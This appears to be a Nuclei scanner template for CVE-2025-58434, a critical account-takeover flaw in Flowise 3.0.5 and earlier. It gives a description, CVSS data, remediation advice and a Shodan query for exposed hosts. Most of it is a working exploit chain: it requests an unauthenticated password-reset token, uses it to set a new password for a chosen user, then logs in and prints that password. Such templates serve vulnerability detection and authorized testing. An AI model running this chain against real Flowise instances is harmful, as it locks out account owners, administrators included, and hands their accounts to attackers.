Description
Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
id: CVE-2025-58434
info:
name: Flowise <= 3.0.5 - Account Takeover
author: nukunga[seunghyeonJeon]
severity: critical
description: |
Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
impact: |
Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks.
remediation: |
Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation.
reference:
- https://github.com/advisories/GHSA-wgpv-6j63-x5ph
- https://nvd.nist.gov/vuln/detail/CVE-2025-58434
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-58434
epss-score: 0.49894
epss-percentile: 0.98838
cwe-id: CWE-306
metadata:
verified: true
shodan-query: http.title:"Flowise - Build AI Agents, Visually"
tags: cve,cve2025,flowise,ato,rce,unauth,vuln,ai
variables:
username: "{{username}}"
new_password: "{{rand_text_alphanumeric(12)}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/v1/account/forgot-password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"user":{"email":"{{username}}"}}
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- '"tempToken":"([A-Za-z0-9]{64})"'
internal: true
matchers:
- type: dsl
dsl:
- status_code == 201
internal: true
- raw:
- |
POST /api/v1/account/reset-password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user": {
"email": "{{username}}",
"tempToken": "{{token}}",
"password": "{{new_password}}"
}
}
matchers:
- type: dsl
dsl:
- status_code == 201
internal: true
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"email": "{{username}}",
"password": "{{new_password}}"
}
matchers-condition: and
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')
condition: and
extractors:
- type: dsl
dsl:
- '"Password:" + new_password'
# digest: 4a0a00473045022100acf244fb68a0dce86c65c20228421fa675bf1d827c9de5fd46e4b761d38f3347022076e3fc1bec9f8f04ff8757370a3693d584b554d66e060f997c635df1bf718500:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.